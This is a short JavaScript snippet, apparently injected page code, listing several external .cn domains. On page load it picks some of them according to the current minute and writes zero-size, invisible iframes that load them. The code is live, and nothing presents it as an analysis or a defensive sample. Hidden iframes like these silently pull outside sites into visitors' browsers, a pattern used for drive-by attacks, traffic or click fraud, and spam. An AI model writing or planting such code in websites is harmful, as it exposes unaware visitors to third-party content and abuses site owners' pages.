var HostList = new Array();
HostList[0] = new Array("",13); 
HostList[1] = new Array("http://www.aaaaaok.cn/",11);
HostList[2] = new Array("http://www.qvpv.cn/",15);
HostList[3] = new Array("http://www.fbqv.cn/",14);
HostList[4] = new Array("",21);
HostList[5] = new Array("http://www.seo8g.cn/",18);
HostList[6] = new Array("",20);
HostList[7] = new Array("http://www.s1628.com/",10);
HostList[8] = new Array("",12);
HostList[9] = new Array("",22);
HostList[10] = new Array("",15);
var NowTime = new Date();
var dm = NowTime.getMinutes();
for(var i =0; i< HostList.length;i ++)
{
	if((dm % HostList[i][1]) == 0)
	{
		document.write("<iframe src='"+ HostList[i][0] +"' height='0' width='0'></iframe>");
	}
}